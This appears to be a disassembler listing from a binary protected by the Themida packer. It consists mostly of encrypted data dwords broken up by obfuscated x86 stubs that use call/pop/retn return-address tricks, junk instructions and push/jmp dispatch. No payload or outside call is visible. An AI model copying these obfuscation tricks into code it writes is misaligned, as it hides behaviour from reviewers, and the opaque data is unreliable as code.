		dd 46FB6C2Dh, 75F5C3EFh, 0DF0E7A97h, 0F89DB9AAh, 638EBC58h
		dd 74C2FBF4h, 0FC7B78h,	7182FBB0h, 74FC7B5Fh, 9E04795Ah
		dd 0B69C8296h, 0B340F7ABh, 0CDFB6C96h, 75FD7AF3h, 75FD72C0h
		dd 145789BCh, 0FE3DF19Dh, 0A678F7EFh, 8AFB6CE4h, 0E8CA8BD0h
		dd 0Eh,	0DD5469BAh, 353130A3h, 7A9168ADh, 0C281700Ah, 2491E3B1h
		dd 98EA815Eh, 813AF7BEh, 73A6C6h, 12F28100h, 2B2B7EB2h
		dd 0C3BF0FFFh, 0E83E1C8Bh, 7, 0D5B56731h, 0F893A797h, 6EB8158h
		dd 663A008Eh, 81E68ABAh, 20F07BC3h, 2870F78h, 0B2000000h
		dd 63EB81A7h, 8B3824A9h, 3E1C89C2h, 11E9h, 0A2291800h
		dd 0AC48AEF3h, 51DA354Ch, 60A15833h, 8166B430h,	811A14E2h
		dd 193C97EFh, 81D08B05h, 193C93C7h, 5850F05h, 56000000h
		dd 5A3CDE80h, 8CFCFF81h, 850FFFFFh, 0FFFFFF8Ch,	0EE36CA81h
		dd 12E81187h, 19000000h, 46DE1A66h, 506D9C35h, 94BF216h
		dd 5399CE1Eh, 8B0F8Dh, 5A000000h, 14E8h, 0F6DB500h, 2E158CB3h
		dd 0E8B8C7EBh, 4CC6F6C5h, 472BBB37h, 0DE81660Ah, 815922DDh
		dd 6A0FC2h, 0F3BF0F00h,	1A51B8h, 0B91A8B00h, 57920942h
		dd 9BBEF381h, 0E8572293h, 11h, 0E3F30DB4h, 0A94F9B87h
		dd 0A85B4148h, 0D9DC8896h, 8B0FFAh, 5E000000h, 0FDEB8159h
		dd 0FC0B7D4Eh, 0D2C2F381h, 81667434h, 53608CE9h, 0F2EF44B9h
		dd 60028F02h, 0C3A6D181h, 0AE96D10h, 0B3000000h, 9BC55772h
		dd 40921B5h, 0EA8361BCh, 11E903h, 30B60000h, 786264CAh
		dd 2BC98462h, 478D294Dh, 4AA6698Ch, 1164F181h, 0F4870E5h
		dd 0FFFF7C85h, 0D18166FFh, 2AE9D0E4h, 0C7000000h, 2404h
		dd 0E80000h, 5D000000h,	7B35ED81h, 448B0616h, 85890424h
		dd 60F2CA9h, 0B8h, 0A78D8D00h, 0FF060F4Ch, 6754B8E1h, 8D8D0000h
		dd 6167C14h, 1BF8C781h,	8D895037h, 60F2C65h, 0ECB86657h
		dd 85C758C7h, 60F07C1h,	608Ch, 83D9D8Bh, 85C7060Fh, 60F2491h
		dd 0
; ---------------------------------------------------------------------------
		or	[ebp+60F256Dh],	edx
		push	dword ptr [ebp+60F0B09h]
		push	0
		push	esi
		call	sub_5C2A6B
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C2A6B	proc near		; CODE XREF: Themida_:005C2A63p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_5C2A6B	endp

; ---------------------------------------------------------------------------
		db 2Ah
		dd 29CB63CDh, 0E95F5383h, 14h, 0AE296CECh, 496487E6h, 380C927Ah
		dd 3FCECC05h, 710DF218h, 26D1B509h, 95FF060Fh, 60F2A05h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 31C35141h
		dd 5D34FDD0h, 15780F2h,	0F003585h, 0D19D8906h, 6A060F27h
		dd 5195FF00h, 8B060F34h, 9B5AEBC0h, 0BEDC77F8h,	7B9358E5h
		dd 3EB8ABEh, 0BF6B5CA4h, 563A32EDh, 872AAFC3h, 926D7638h
		dd 25D80ED5h, 0BAEF8438h, 22B716DFh, 3702FFF2h,	268AFB21h
		dd 9460A5AEh, 1A237BDh,	0F19C39C4h, 0DEF25B83h,	4E550DAEh
		dd 3641FD37h, 784922ACh, 62E7B133h, 50AC2C69h, 6898037Fh
		dd 16EBD2h, 4 dup(0)
		dd 1000000h, 40801h, 6A061600h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 67B9C357h, 0E697DECDh
		dd 6623362Eh, 12E9D68Bh, 0DA000000h, 0E53F11C9h, 7403BB0Fh
		dd 47968122h, 0D0F7A54Fh, 3EB550C3h, 6A240489h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 0F873C355h, 0CE6FEF9Fh, 89DF8B18h, 0F34C58Dh, 0B006A06h
		dd 0F1039BDh, 6A006A06h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 7529C355h, 9E9BBFEh
		dd 0FE000000h, 2A6C97B4h, 0BA3CD946h, 7DF7858Dh, 12E80616h
		dd 4D000000h, 0F55CCE6Bh, 0A2ED6F24h, 756E6F8Fh, 7426501Dh
		dd 2D0EB927h, 50593698h, 2D810Fh, 52500000h, 0DE8h, 90456C00h
		dd 0D6560746h, 217D8966h, 0F597241h, 0FE931h, 0C6A20000h
		dd 963FECB0h, 96839625h, 9E592AC1h, 89585AACh, 0DF802404h
		dd 89006A70h, 0F18058Dh, 52006A06h, 32359509h, 0FF5F060Fh
		dd 0F348D95h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1A04h, 0C3504000h, 8CF9FA91h, 6684417Bh, 8FE9DF8Bh
		dd 6A000005h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 0A658C353h, 0B5D36532h, 0E898h
		dd 815D0000h, 167DFCEDh, 0D7B70F06h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 0DFC35040h,	9BA7CFDBh, 0F5F6D2AFh
		dd 0DA8B6686h, 0D672BF66h, 83310668h, 0EEBB6622h, 2434817Eh
		dd 22833EA6h, 0DE9h, 0DDDA6900h, 0CBF7D619h, 9640FC2Dh
		dd 95FFEA30h, 60F3451h,	32F9B589h, 0B58D060Fh, 6167C75h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0C0C35545h
		dd 0DE9EDh, 0F0BF0000h,	8806A096h, 0B3DFBD2Ch, 0C779E85Ch
		dd 67655206h, 50006A6Dh, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1804h, 0C3504000h, 0E80BBA83h, 68E0F5Eh, 8B000000h
		dd 0F015595h, 7E806h, 21B30000h, 3D5A9E9Fh, 98D899Bh, 5F060F08h
		dd 6F0446C7h, 6A6C636Eh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 266BC355h, 9A4D026Dh
		dd 0F1267722h, 0F98B5660h, 68D0F5Eh, 8B000000h,	0F0B4585h
		dd 0BD8B6106h, 60F0505h, 610846C7h, 6A007373h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 490EC352h, 6A3EB17Ch, 9E900h, 67F60000h, 73D509E0h
		dd 8DD451F5h, 167C7585h, 0D58D8B06h, 50060F23h,	0FA8B5250h
		dd 9E8310Fh, 0E1000000h, 410A759Dh, 156D0B05h, 59CE8B66h
		dd 489585Ah, 55006A24h,	3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1404h, 0C3554500h, 0FFF58AA1h, 0F175195h, 0D3BF0F06h
		dd 840FC00Bh, 34h, 8ADA8B66h, 36BE9C8h,	6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 76B6CAC3h, 9D890D23h, 60F34C5h, 0CCC6BB66h, 4E8h, 12C00h
		dd 9CB96600h, 8D0F50EFh, 4, 41FBBB66h, 424448Bh, 0F81963BAh
		dd 8B008B67h, 244489F8h, 0EB81BB04h, 80584D80h,	95FFE5F7h
		dd 60F3451h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 14h,	0D1C35747h, 0D08B6656h,	258D8B59h, 8D060F12h, 167C75B5h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 649EE147h, 0A9DD80F6h, 143DB589h, 6C7060Fh
		dd 36343831h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 17h,	0A8C35040h, 31016142h, 0F1CD59Dh, 446C706h, 31342D37h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 3C35646h
		dd 837B66E8h, 60D78B65h, 66BAC480h, 614E22BBh, 846C7h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 780DC353h, 2D8D9D8Bh, 6A060Fh
		dd 0B198D8Bh, 858D060Fh, 6167C75h, 31D5C180h, 0F1EF585h
		dd 0DC8A5006h, 81240489h, 4CCED8C2h, 5195FF3Eh,	0F060F17h
		dd 682h, 0CBCA8100h, 0B422AF0h,	53840FC0h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 3876C356h, 3D2C08FFh, 0A296E20Dh, 88CB8166h,	1BFE9DAh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 27A76BC3h, 26418D8Bh, 5C68060Fh, 0E9381B27h
		dd 9, 0C9A95EA5h, 0C2583E46h, 2434817Fh, 381B2670h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0D8C35242h, 6DFA2D31h
		dd 345195FFh, 9531060Fh, 60F00DDh, 7C75B58Dh, 6A0616h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 0E9297CC3h, 0Eh, 0E775D8BEh,	5A26FEE6h, 458F7835h, 810F0451h
		dd 6, 26A9BD89h, 6C7060Fh, 656C6946h, 0C7B9C580h, 6F6D0446h
		dd 0FE8636Eh, 8B000000h, 0EE6F0FD9h, 0ADA3482Bh, 9BDA77B6h
		dd 8166F450h, 594147F1h, 6C0846C7h, 6A737361h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 2AC4C357h, 8501514Eh, 60F2279h, 0C46C75Ah, 0
; ---------------------------------------------------------------------------
		mov	edi, [ebp+60F11CDh]
		push	0
		jmp	loc_5C3155
; ---------------------------------------------------------------------------
		das
		test	[edx], ebx
		mov	ebx, 141FCE6Ch
		sbb	byte ptr [ecx],	53h
		or	eax, 0BA0268A8h


loc_5C3155:				; CODE XREF: Themida_:005C3140j
		lea	eax, [ebp+6167C75h]
		push	0
		push	edi
		call	sub_5C3166
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C3166	proc near		; CODE XREF: Themida_:005C315Ep

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_5C3166	endp

; ---------------------------------------------------------------------------
		dw 0BAE8h
; ---------------------------------------------------------------------------
		mov	bh, al
		push	eax
		mov	bx, 5DAFh
		mov	[esp], eax
		push	0
		push	esi
		call	sub_5C318D
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C318D	proc near		; CODE XREF: Themida_:005C3185p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_5C318D	endp

; ---------------------------------------------------------------------------
		db 2Ch,	0A0h, 0FCh
		dd 0C007E045h, 3820FBDh, 0F000000h, 95FFFFB7h, 60F1751h
		dd 14F9BD8Bh, 0C00B060Fh, 7840Fh, 0D88B0000h, 24E9h, 0FAF3E900h
		dd 6AFFFFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 4BD9FFC3h, 7BB58D2Eh, 6A060F70h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 9040C355h, 0CE248E0Bh, 0CBBF0FC7h, 0B8h, 299D8B00h
		dd 8B060F16h, 0F1B2DBDh, 66E6FF06h, 0C18BD98Bh,	0A1E9h
		dd 90ABBE00h, 223D587Bh, 0B5A8EA0Dh, 46D97DA0h,	0DF7A0E31h
		dd 8517A9CAh, 12354AEDh, 0A2C5DA7Dh, 36596EF1h,	21F00520h
		dd 0CB34C374h, 4FB66EDh, 200353EBh, 9194C0F3h, 44E17E0h
		dd 366B206Dh, 95C8D0B5h, 0A8495EC1h, 92FBB148h,	0AFB2E316h
		dd 3A868D2Eh, 0CFE46D46h, 0AB6D88F1h, 6D45DB92h, 310h
		dd 0CED77700h, 361B3E53h, 755AFD93h, 0B99E81D2h, 1E64116h
		dd 4A2F0A5Eh, 9378D3A7h, 0D4B9A4F0h, 17FC6731h,	593E2174h
		dd 836B68F7h, 0BBE90616h, 4AFFF8FAh, 0FFB8C4FAh, 7CD8FF88h
		dd 0CAFE3F12h, 0A80D9644h, 8A491E3Bh, 0A80D9683h, 75EAD5ABh
		dd 0A80D975Bh, 8A491F21h, 57AE5DBAh, 8A491F9Eh,	0A80D944Bh
		dd 75EAD5ABh, 0A80D9412h, 8A491CCCh, 0A80D949Ch, 8A491D4Eh
		dd 0A80D9516h, 75EAD5ABh, 9FD42F25h, 3133CD1h, 0BED5ACC0h
		dd 2F90A752h, 2157B4C0h, 9C9138D1h, 54D42F43h, 3133CD1h
		dd 0BED5B4C0h, 0DE90A752h, 2157B4C3h, 9C9134D1h, 3D42F43h
		dd 3133CD2h, 0BED580C0h, 8A90A752h, 2157B4C2h, 9C9100D1h
		dd 0ECD42F43h, 3133CD3h, 0BED58CC0h, 790A752h, 2157B4C2h
		dd 9C911CD1h, 66D42F43h, 3133CD3h, 0BED598C0h, 8590A752h
		dd 2157B4CDh, 9C9114D1h, 0F8D42F43h, 3133CDCh, 0BED5E0C0h
		dd 390A752h, 2157B4CDh,	9C916CD1h, 12B8C343h, 0DF152A50h
		dd 6CD24ECEh, 8AFD4AA8h, 0F251A245h, 0EE4C0D5h,	0ED96A453h
		dd 8A152AA8h, 0A0242945h, 0B496E367h, 0A1D5ADBAh, 0CB152A54h
		dd 415564C6h, 75EAD5BAh, 3AAE63CEh, 8C1A0BA5h, 0AB534284h
		dd 0FFEA2211h, 0A4245D55h, 0CF9C3AABh, 0EDDAC3B9h, 86D7E3A8h
		dd 44DAF745h, 0EAE9EED7h, 2359D7CEh, 0CFD22629h, 0A851A2B9h
		dd 62AD6C54h, 351A241h,	27BFEA66h, 4CDB2FEEh, 75133C20h
		dd 2011294h, 0FEF1A0D9h, 79AEA453h, 0AE51A1ECh,	22DC0941h
		dd 8C035EB0h, 103773BAh, 21732ADFh, 0DCB528C8h,	5BEA2C42h
		dd 8C152BFDh, 988150h, 0AE47D6A1h, 0D2A5FBABh, 0A42C89EFh
		dd 0EBE957DDh, 61ADE7CEh, 0DF152296h, 6CD24ECEh, 8AFD4AA8h
		dd 0F251A245h, 0FA4C0D5h, 0DDDAA453h, 8668A15Ch, 0A8ADE782h
		dd 0CC152A54h, 0B01C30BAh, 529E2C5Bh, 83FC69CEh, 0E2A5B997h
		dd 0F9FA31EFh, 0FEF1A0D9h, 79AEA453h, 20949A0Dh, 8C551A23h
		dd 21848132h, 215DDF6Eh, 174D629h, 6A985E00h, 1402A5Ch
		dd 549521A9h, 8A15C234h, 290BA245h, 9C9322BEh, 0A0242943h
		dd 4D1957DFh, 0A8515E00h, 75532A54h, 0A749EFD7h, 19CDA152h
		dd 9BFC69CEh, 0E2A5B997h, 0F9FA31EFh, 0FEF1A0D9h, 79AEA453h
		dd 20949A0Dh, 8C651A23h, 21848132h, 215DDF6Eh, 174D629h
		dd 6A985E00h, 1402A5Ch,	549521A9h, 8260A134h, 6F5DDFCEh
		dd 8A15D611h, 3BFDA245h, 0B91DC995h, 4919197h, 4A38F2DEh
		dd 2851A245h, 0E1AD5A8h, 0A851A25Eh, 8A1523EDh,	2DA05545h
		dd 86902586h, 2851A245h, 4B7332A3h, 2337AA8Eh, 0A1BE4C97h
		dd 0D5D8AE38h, 0CF9E4BA8h, 0A0936BB9h, 669E7F54h, 0C8AD66C6h
		dd 11D5FDFh, 0ED96AE38h, 8A152AA8h, 69C20E45h, 582622B7h
		dd 22FD6276h, 8AD5078Ch, 54D1A245h, 939125ABh, 1151A245h
		dd 8A152A5Dh, 7AD453B2h, 8A1FAF5Bh, 10E0A245h, 4B93E256h
		dd 39191EFh, 319577Fh, 23305E38h, 48DCD611h, 2304A24Dh
		dd 76D1A9B8h, 0A0242925h, 4D1957DFh, 0A8515E00h, 0B92A54h
		dd 0A7B2229Dh, 85E1D4h,	22DC0886h, 8C035EB0h, 0F8E173BAh
		dd 6E9FA7FEh, 5757B431h, 20D6A085h, 215DDF6Eh, 174D629h
		dd 6A985E00h, 1402A5Ch,	549521A9h, 8260A134h, 6F5DDFCEh
		dd 8A15D611h, 0AFE9A245h, 75152A54h, 0A77053D7h, 20452652h
		dd 0DCB528C8h, 5BEA2C42h, 9BFB2BF5h, 85318694h,	0AC59622Eh
		dd 0AEA58050h, 0A42C89EFh, 0EBE957DDh, 61ADE7CEh, 0DF152296h
		dd 6CD24ECEh, 0FF9E4AA8h, 0A42C294Dh, 8AE96F93h, 451A245h
		dd 0C787D5FEh, 2357AD5Dh, 4917868Ch, 4CDB2FEFh,	75133C20h
		dd 28E9C494h, 0BE4CBDh,	0D57A0886h, 7668A358h, 54142924h
		dd 8A1DE89Dh, 2BBD2910h, 175D690h, 0D5DAAA30h, 7650ED58h
		dd 0A851A245h, 18EA80F8h, 0AE5EBA08h, 58B9E2DFh, 32DC0885h
		dd 8C035EB0h, 103771BAh, 2173E394h, 83FB63CFh, 0F79C2629h
		dd 0EDDAC3B9h, 82D7E3A8h, 44DAF745h, 0EAE9EED7h, 2359D7CEh
		dd 0CFD22629h, 0A851A2B9h, 75BF8654h, 0A749EFD7h, 26DDA152h
		dd 25FB6377h, 9C61CECEh, 0CE825D43h, 0ECE4AAECh, 29028EEh
		dd 319577Fh, 23305E38h,	48DCD611h, 2304A24Dh, 76D1A9B8h
		dd 0A0242925h, 4D1957DFh, 0A8515E00h, 32732A54h, 3376B77h
		dd 0FEF1B0D9h, 7BAEA453h, 4B959232h, 4FD0923h, 866801FEh
		dd 0C9ADDFCCh, 43E96FDFh, 0FD51AA87h, 4E96C6DFh, 0DDDAC2B9h
		dd 8668A15Ch, 0A8ADE782h, 0EC152A54h, 0CEB824FDh, 6E8FA7FFh
		dd 5757B431h, 20A09A87h, 25FB0E03h, 9C61CECEh, 0CE825D43h
		dd 0ECD8ACECh, 0A42C89EEh, 0EBE957DDh, 61ADE7CEh, 0DF152296h
		dd 6CD24ECEh, 8AFD4AA8h, 0F251A245h, 2CCC0D5h, 0ED96A453h
		dd 8A152AA8h, 0A0242945h, 261957DFh, 2C5E9179h,	8A152A1Eh
		dd 2C5E8979h, 8A152A16h, 2C5ECA79h, 8A152A49h, 2C5E1379h
		dd 8A152A38h, 2A5EF279h, 8A152A5Ch, 2A5EFA79h, 8A152A6Bh
		dd 0A851D6ACh, 8660D554h, 2559D7BAh, 9C9124CEh,	32DCF143h
		dd 8C03AEB1h, 0EDD871BAh, 8A42C3A8h, 0DDAEA245h, 8260D558h
		dd 2C4F38C8h, 7462C42h,	0BED547DFh, 3C6D552h, 92B85E00h
		dd 75152A54h, 0DDAEAE30h, 0A08FA75Ch, 0FB57B4C1h, 0EF0B0D9h
		dd 7BAEA453h, 63E96FDDh, 0A851A258h, 75195FABh,	32DCAA30h
		dd 8C03AE62h, 4DCB2F16h, 75133CD0h, 54142B96h, 8A152ABDh
		dd 0EDDAC345h, 82D7E3A8h, 3044BA45h, 2DE90000h,	0E1000000h
		dd 4AD002h, 0Ah	dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5C458C
; ---------------------------------------------------------------------------
		push	6168BEAh
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	6168CECh
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	6168DA7h
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	6168E38h
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	6169155h
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	6169481h
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	616956Bh
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		db 74h
		dd 2253A1Dh, 98BBD053h,	2B4E63FEh, 0C0E3F86Bh, 57788DA8h
		dd 0FC5F33C5h, 8CAFC4E7h, 20035477h, 0B792E80Bh, 7526D3A2h
		dd 66EDC382h, 4679B6ADh, 8992130Eh, 371C3F53h, 451A4D8Ah
		dd 4DB641E2h, 0D4816D04h, 44DD423h, 71A65B6Dh, 978ACDF0h
		dd 0EFE3B682h, 79B511C2h, 4B006B0Bh, 19B64566h,	216666F5h
		dd 0BD5DBB42h, 410E4600h, 0F5000000h, 0B6E3EFAAh, 0B7E5905h
		dd 63F82B6Bh, 0CE8347C8h, 72093CE9h, 80E3B4D7h,	1D9D5EFFh
		dd 3A7F66F5h, 0A657942Dh, 66F51E51h, 8D51CC87h,	2CCA21E1h
		dd 51862800h, 7235E3D0h, 7364600h, 1D000000h, 87F99h, 16490000h
		dd 48FDE27Dh, 6BCEA4C7h, 0AA8DE386h, 2D0C995h, 556624D5h
		dd 3CF16B0Bh, 0D621D20Fh, 6166F535h, 25462BACh,	66F535D6h
		dd 9B620146h, 4600D97Dh, 8EFA0DDh, 2F66F53Eh, 40DDF97Ah
		dd 0C4000000h, 0E17C1649h, 599E4FFCh, 0DE6D044Eh, 0A773F429h
		dd 2B3E0F2h, 6B0B679Ch,	18391ED3h, 66F527E3h, 0B7CD9EF5h
		dd 0C5FAAF94h, 71A3DE0h, 0D6B58A22h, 84E32807h,	0CF9B7Dh
		dd 0D0D046h, 53B70000h,	0F1542C3Dh, 5C34D7BCh, 0C199CCF9h
		dd 4BCC8166h, 92ADC366h, 44E16E1h, 376C216Dh
		db 52h
byte_5C3A41	db 0AFh, 0D9h		; DATA XREF: ___:off_437FA8o
byte_5C3A43	db 7Eh			; DATA XREF: ___:off_43A0D8o
dword_5C3A44	dd 0EC771E51h, 0CD7E42C0h, 0A425D91Fh, 77EDEE8Fh, 95EB6D03h
					; DATA XREF: ___:off_43A0D0o
		dd 974885B2h, 6D037860h
		db 78h,	0E2h, 47h
		db 83h
		dd 15384DCEh, 73AFDC7Fh, 0C928C109h, 283B5D62h,	0D8598E43h
		dd 0E0F2A7F3h, 861402B3h, 0A65B6B0Ah, 0FED4C591h, 189320D1h
		dd 17C46506h, 0E5E69166h, 6B8C3D6Ch, 0C46CE5E7h, 61964B0Fh
		dd 0CE690134h, 67C296B9h, 4F2525Ch, 90EDD28Eh, 0A4Ch, 0EC01243Dh
		dd 7C918CC9h, 0F243F59h, 0A0B5A8ECh, 2D42E57Dh,	96EA7A0Ch
		dd 0E47B9EB3h, 4E092C41h, 0C59BBED3h, 0D17E4D62h, 0EDC2D720h
		dd 50696066h, 0E37E1649h, 102B3F62h, 0A782D8FBh, 0EFAA8992h
		dd 9905B6E3h, 0D46B0B67h, 0A8BFF21Fh, 6270C8Dh,	66F527F5h
		dd 7C85E227h, 4600CF9Ch, 0DAD1h, 1649B800h, 5D00E540h
		dd 70F12639h, 2F14374Dh, 1D59F48Ch, 73C53118h, 877011F3h
		dd 0B06D0405h, 0DA1DCEFBh, 556D0405h, 65866BA0h, 6D040176h
		dd 253B0C62h, 0B08BDF02h, 0CCE116CBh, 9378D3A9h, 53805247h
		dd 0B0274A2h, 0D906BB6Bh, 5275D0A6h, 84991A3Dh,	0C4F1E1B8h
		dd 2A6BC491h, 54810237h, 0B58FE417h, 6ABBA2F2h,	10F52AB2h
		dd 5F39DA5Bh, 166506DAh, 0ADF83461h, 3C7788Dh, 90671845h
		dd 0A76CE5F2h, 114471F2h, 0BAA5F079h, 71255885h, 35586DEEh
		dd 0E7EFFA5Dh, 5B8E04CEh, 94A1976h, 2A3F0000h, 0BED7FA0Fh
		dd 296B8EA3h, 56FE2136h, 0FF93B6CBh, 9426475Ch,	0B4C96C04h
		dd 4A5FFA91h, 0DCF16C27h, 7388A3B9h, 0B146F7A4h, 8666EDC1h
		dd 3F53768Fh, 8EE4071Ch, 538D96ABh, 92351A3Dh, 0ABFB62FCh
		dd 472FA812h, 9ECAE94Ah, 60950CF7h, 0DA445C4Bh,	35E613BFh
		dd 6B0A87B9h, 5C893FF4h, 77F85329h, 0B1B7FAD6h,	0A23069BEh
		dd 42FC3875h, 0C554CDFCh, 0D3C037E8h, 0C277BD39h, 31146A8Dh
		dd 7516974Ch, 0BB40E725h, 0F22E5B10h, 65EF7C20h, 3D22A31Fh
		dd 0FD2AA8F1h, 149588CAh, 0A4A236E7h, 24D9C150h, 0CD87BAF7h
		dd 0D8AED152h, 2F45687Dh, 70E3010Ch, 7E6321CDh,	88F21h
		dd 0C467FA00h, 56C98CAFh, 0E9741E41h, 7AE5B1D4h, 0B2E4265h
		dd 0B143D5F6h, 46697ED9h, 0DE011631h, 7295AAB5h, 5524391Ch
		dd 0C100F7A8h, 403766EDh, 1A3D5327h, 8699BAEDh,	0C5D42005h
		dd 66A3E00Dh, 44E42B5h,	0B738ED6Dh, 0B79E016h, 0DFB2EE6Bh
		dd 0B22AAE3Ch, 0EEA367E8h, 5AC58EC1h, 0E9DC1845h, 47DA7D75h
		dd 9DF8F71Bh, 0C35EF91Ch, 583ABDDEh, 0E31866F4h, 4C66F467h
		dd 0A758854Dh, 64FB7ECFh, 29CCB166h, 0C5EDF853h, 458E1A58h
		dd 7FE0360h, 0F68B0000h, 7A1B3E53h, 0E5AFD2E7h,	1242657Ah
		dd 83D7FA0Fh, 0E07293A8h, 81D3850h, 96AB8EE5h, 283D2073h
		dd 0B7CC6F05h, 6D8A3BE8h, 0C266EDC0h, 0EFAAB2CBh, 7105B6E3h
		dd 536B0B64h, 19339017h, 0D35488B0h, 0D2755A0Fh, 688BA083h
		dd 14D322Dh, 0D90C3999h, 85A0B881h, 0F1A2CF50h,	66F46C3Eh
		dd 0E41744F9h, 452AAB8Eh, 0DBE8774Ch, 829DB9BAh, 9EB3E89Dh
		dd 0F46BFEFDh, 69693166h, 0A94EFF3Ch, 2566F46Bh, 0F46B8374h
		dd 33F7AC66h, 1FD0FD7Eh, 66F46C04h, 60FB9033h, 7C91C67Bh
		dd 732A3C59h, 18CD3AEAh, 1031164Bh, 66F45FE3h, 0EEFD8A5Fh
		dd 84A7BCA7h, 0EE214ED1h, 22D7BCA7h, 0B09BBCA1h, 7266F460h
		dd 5401CE9Dh, 0B2E8B4C9h, 94C0F320h, 0B1D22292h, 0D50AE57Ah
		dd 8DBA3BF0h, 0E77A1D50h, 8035C566h, 4B0066F4h,	0B8ABEB1Eh
		dd 0B89D1ED3h, 2098CF0Bh, 7AECCAA1h, 0E40A58F9h, 0DD221355h
		dd 0CFA1778Eh, 7DB9D9A1h, 57AF445Eh, 0B590E7B3h, 0A0E3FF80h
		dd 0A6000001h, 1C3F2273h, 5C65E679h, 0B6E3EFAAh, 0B560905h
		dd 0F7A1446Bh, 0D70A376Ch, 4679A681h, 7F941530h, 3E23065Ch
		dd 33CD401Dh, 6BF84DE4h, 0E23065Ch, 0BC76A5E1h,	401CAE17h
		dd 762B102Bh, 0C79DC041h, 67337F64h, 0B035C273h, 0F99BEBBAh
		dd 6BFFA266h, 39669BD0h, 0AAD77206h, 0BAAFFEF9h, 38439EBh
		dd 0D384C1EEh, 0EBBAB024h, 0B2D5560Bh, 59C491E2h, 513BC874h
		dd 9607B42h, 0E741A8D4h, 233E21CCh, 106609EEh, 0E1163147h
		dd 296C9FCCh, 0FC92B536h, 0A1E07262h, 0F0254BA7h, 22D586C3h
		dd 0DEBBAAEh, 4C31146Ah, 84356297h, 0EBBAAE73h,	0A18607BCh
		dd 455B4D80h, 70A3609Eh, 0F5BA3B26h, 28035996h,	0EA0DBEFBh
		dd 45794138h, 0D7FA0F90h, 75C1A681h, 4480AD25h,	0AAED9022h
		dd 0BCE96A0Fh, 4090EC0Bh, 8D974379h, 0F47214A3h, 5592BFF4h
		dd 40F453A4h, 427DC79h,	374CCD50h, 94EB7C14h, 4B977CB1h
		dd 0A556834Fh, 7940F45Eh, 75823370h, 0BA7940F4h, 0BC08405h
		dd 9ABDD3F6h, 0DB7E12B5h, 5B28FDF6h, 2653F68Ch,	0D5BA9DF3h
		dd 678A9F20h, 5513611h,	5F103D95h, 7940F3A0h, 0AACDE297h
		dd 0E98C71D4h, 0C3CEB3AEh, 3C5291EEh, 0B9921A22h, 0F0879597h
		dd 86BB7055h, 62BBBB5Ah, 104571BFh, 0A782D8FBh,	0AE2476C2h
		dd 853BD081h, 56937940h, 408552A5h, 528DD79h, 884CCD50h
		dd 5491BED3h, 408554A3h, 0A526DB79h, 694ED182h,	28557D1Dh
		dd 88A3B8EBh, 84A16607h, 0E1967940h, 2A6C9FCCh,	53ADB637h
		dd 39051A3Dh, 94457260h, 6B0B6C32h, 0F4E2D17Dh,	1F0A076Bh
		dd 5005EA75h, 86B9E61Bh, 1A3D52CDh, 0B501E679h,	10C1EEE4h
		dd 64FB99E6h, 96B79C51h, 6D038A65h, 0D603CFCAh,	0AA05125h
		dd 7E2FDC6Bh, 66F45F79h, 0EFD409BEh, 4D25364Ch,	5EB641F2h
		dd 0CC8166F4h, 470FB297h, 6772A7DCh, 88157A4Dh,	0E173D0B5h
		dd 0A8000004h, 3E6176D1h, 0D4F70C17h, 678A9F82h, 0FC1F342Fh
		dd 8BACC164h, 381367F9h, 0D06B0023h, 64FF98BBh,	0F3562C4Fh
